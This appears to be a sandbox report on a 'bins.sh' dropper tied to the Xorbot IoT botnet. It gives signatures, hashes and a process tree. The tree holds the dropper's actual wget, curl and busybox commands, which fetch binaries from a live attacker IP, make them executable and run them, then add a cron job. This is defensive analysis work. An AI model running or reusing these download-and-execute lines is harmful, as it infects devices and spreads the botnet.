Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/01/2025, 23:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-3st2mazlcv
  • SHA256 5ea234c50f6f64c32b7f5efc9dc9672916c8ea55e4ef30d743eb0c092efcef29
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:637
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:638
      • /usr/bin/wget
        wget http://94.154.35.94/bins/EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        2⤵
        • Writes file to tmp directory
        PID:642
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:743
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        2⤵
        • Writes file to tmp directory
        PID:744
      • /bin/chmod
        chmod 777 EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        2⤵
        • File and Directory Permissions Modification
        PID:745
      • /tmp/EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        ./EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
        2⤵
          PID:746
        • /bin/rm
          rm EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://94.154.35.94/bins/LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            2⤵
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:759
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            2⤵
            • Writes file to tmp directory
            PID:760
          • /bin/chmod
            chmod 777 LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            ./LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
            2⤵
              PID:762
            • /bin/rm
              rm LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://94.154.35.94/bins/cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                2⤵
                • Writes file to tmp directory
                PID:770
              • /bin/chmod
                chmod 777 cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                2⤵
                • File and Directory Permissions Modification
                PID:771
              • /tmp/cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                ./cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                2⤵
                  PID:772
                • /bin/rm
                  rm cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                  2⤵
                    PID:774
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    2⤵
                    • Writes file to tmp directory
                    PID:775
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:776
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /bin/chmod
                    chmod 777 wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:778
                  • /tmp/wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    ./wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                    2⤵
                      PID:779
                    • /bin/rm
                      rm wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                      2⤵
                        PID:781
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        2⤵
                        • Writes file to tmp directory
                        PID:782
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:785
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        2⤵
                        • Writes file to tmp directory
                        PID:786
                      • /bin/chmod
                        chmod 777 eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        2⤵
                        • File and Directory Permissions Modification
                        PID:787
                      • /tmp/eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        ./eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                        2⤵
                          PID:788
                        • /bin/rm
                          rm eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                          2⤵
                            PID:790
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            2⤵
                            • Writes file to tmp directory
                            PID:791
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:792
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            2⤵
                            • Writes file to tmp directory
                            PID:793
                          • /bin/chmod
                            chmod 777 hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            2⤵
                            • File and Directory Permissions Modification
                            PID:794
                          • /tmp/hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            ./hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                            2⤵
                              PID:795
                            • /bin/rm
                              rm hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                              2⤵
                                PID:797
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                2⤵
                                • Writes file to tmp directory
                                PID:798
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:799
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                2⤵
                                • Writes file to tmp directory
                                PID:800
                              • /bin/chmod
                                chmod 777 P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                2⤵
                                • File and Directory Permissions Modification
                                PID:803
                              • /tmp/P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                ./P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:804
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:806
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                      • Reads runtime system information
                                      PID:807
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:808
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        • Reads runtime system information
                                        PID:809
                                  • /bin/rm
                                    rm P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                    2⤵
                                      PID:811
                                    • /usr/bin/wget
                                      wget http://94.154.35.94/bins/CyvaOe0FarY33K0BOjLeDW0OLEg0NV0LZS
                                      2⤵
                                        PID:814

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P

                                          • Path /tmp/EWl1gtYOsMFw5u8DPE8OAFONri6wXK5V2P
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch

                                          • Path /tmp/LY2s9iAYnXPIJOTn6Y0s9uoIy3A0WZZfch
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv

                                          • Path /tmp/P7xLPc4NDybwZ8udu3tyrm4IT2yg0nSpnv
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z

                                          • Path /tmp/cOznerzGGd3XAzQouxtn3OAVb9PjTKuM0Z
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO

                                          • Path /tmp/eZG6ITSsmBKK76rXbfcpFBxOROwkxz4wkO
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K

                                          • Path /tmp/hggIm2WmKyn5LMgDGNcyuJxjPZYLjDRy8K
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki

                                          • Path /tmp/wSgi2McxrFIShHWbpkp7Bi8q18Sd3rqmki
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.LQ7Rcq

                                          • Path /var/spool/cron/crontabs/tmp.LQ7Rcq
                                          • Size 210B
                                          • SHA256 131ddb1f92c5ca01b44389592811978dc5580bfa7942e93f61b007e7a529d54e
                                          • MD5 SHA1 SHA512